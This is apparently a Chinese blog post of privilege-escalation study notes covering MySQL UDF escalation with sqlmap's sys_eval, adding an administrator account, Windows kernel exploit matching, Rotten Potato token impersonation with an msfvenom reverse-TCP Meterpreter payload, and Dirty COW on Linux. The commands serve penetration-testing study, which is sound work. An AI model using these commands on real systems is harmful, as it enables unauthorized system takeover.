• Windows提权


    提权

    1. MySQL提权

    1.1 UDF提权

    udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充

    1、如何获得udf文件

    2、将文件放到哪才能让mysql承认这个函数

    3、函数功能

    4、为什么这东西能提权(自定义函数指令是直接以管理员的权限运行的)

    1.1.1 前提

    SQL 注入且是高权限

    secure_file_priv 无限制

    plugin 目录可写

    1.1.2 SQLmap

    udf位置

    /usr/share/metasploit-framework/data/exploits/mysql

    /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

    暂时不能用,需要解码

    cd /usr/share/sqlmap/extra/cloak
    
    • 1
    python3 cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
    
    • 1

    image-20231011161030720

    MySQL<5.0,导出路径随意;

    5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)

    MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

    select @@basedir;  +  lib/plugin/
    
    • 1

    image-20231011161052748

    创建函数

    create function sys_eval returns string soname 'udf.dll';
    
    • 1
    select sys_eval('whoami');
    
    • 1

    image-20231011161100601

    image-20231011161103683

    net user test test /add
    
    • 1
    net localgroup administrators test /add
    
    • 1

    函数功能

    sys_eval 执行任意命令,并将输出返回。

    sys_exec 执行任意命令,并将退出码返回。

    sys_get 获取一个环境变量。

    sys_set 创建或修改一个环境变量

    2. Windows提权

    Windows溢出提权是指利用软件漏洞,通过向受攻击的计算机发送特制的数据包或代码,成功地将进程或用户权限提升至更高的权限级别,从而获取对目标系统的完全控制权限的一种攻击方式。

    Windows溢出提权:普通用户的堆栈跳到了root用户的堆栈。

    注意python版本得在2.7.18

    2.1 内核提权

    python -m pip install xlrd==1.2.0
    python windows-exploit-suggester.py --update
    python windows-exploit-suggester.py --database 2023-10-11-mssb.xls --systeminfo 1.txt
    
    • 1
    • 2
    • 3

    exp:https://github.com/SecWiki/windows-kernel-exploits

    win7上创建一个普通用户,然后使用systeminfo命令查看系统的打过哪些补丁。

    image-20231011162132007

    将systeminfo输出重定向到1.txt文件中

    image-20231011162230871

    该脚本是自动化的判断。检测的脚本地址:Windows-Exploit-Suggester

    image-20231011164554677

    下载xlrd组件库,该库是针对表格文档处理的库。

    python -m pip install xlrd==1.2.0
    
    • 1

    image-20231011164924023

    去微软官网从当前时间为止的漏洞补丁,全部下载下来。

    python windows-exploit-suggester.py --update
    
    • 1

    image-20231011175135815

    下载好的文件如下

    image-20231011175124574

    利用刚才下载好的文件自动去匹配该命令输出的信息和微软官网至今为止的漏洞编号和补丁有什么差别,将没有打的补丁列出来。

    python windows-exploit-suggester.py --database 2023-10-11-mssb.xls --systeminfo 1.txt
    
    • 1

    image-20231011191039232

    image-20231011191050455

    下载对应的exp:https://github.com/SecWiki/windows-kernel-exploits

    下载好payload后,开启一个

    python -m  SimpleHTTPServer 80 
    
    • 1

    image-20231011192248894

    在windows7中访问指定IP后下载payload

    image-20231011192509675

    双击下载好的exe即可

    2.2 烂土豆(ms16-075

    asp木马

    image-20231011161217340

    TkI0V0gtQkJCWVYtM01QUEMtOVJDTVYtNDZYQ0I=

    安装2012,IIS,FTP,把msf木马利用ftp上传到2012,执行,

    利用webshell运行msf木马

    2.2.1 原理

    1、欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到控制的TCP终端

    2、对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。

    3、模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数服务型账户(IIS、MSSQL等)都有这个权限,用户级账户大多数没有这个权限。

    https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

    msf生成木马

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.113 LPORT=5555 -f exe > shell.exe
    
    • 1

    use exploit/multi/handler

    meterpreter > getuid 
    meterpreter > upload  /root/potato.exe C:\Users\Public 
    meterpreter > cd C:\\Users\\Public 
    meterpreter > use incognito 
    meterpreter > list_tokens -u   
    meterpreter > execute -cH -f ./potato.exe 
    meterpreter > list_tokens -u 
    AUTHORITY\SYSTEM  
    meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"  
    meterpreter > getuid 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    image-20231011161253857

    3. Linux提权

    https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

    3.1 脏牛漏洞

    gcc -pthread dirty.c -o dirty -lcrypt

    利用版本必须低于如下版本

    Centos7 /RHEL7       3.10.0-327.36.3.el7
    Cetnos6/RHEL6        2.6.32-642.6.2.el6
    Ubuntu 16.10         4.8.0-26.28
    Ubuntu 16.04         4.4.0-45.66
    Ubuntu 14.04         3.13.0-100.147
    Debian 8             3.16.36-1+deb8u2
    Debian 7             3.2.82-1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
  • 相关阅读:
    云原生技术中台 CNStack2.0 正式发布
    Go中 net/http 使用
    Flutter 编写收音机开源
    linux中sshd是什么(ssh服务无法启动解决办法)
    云计算基础技术
    Fiddler抓包工具的使用
    NumPy数值计算基础实训
    K8s 之 ApiServer 组件风险
    血糖老控制不好,是不是因为以下的原因
    Oracle SQL执行计划操作(7)——排序相关操作
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133823180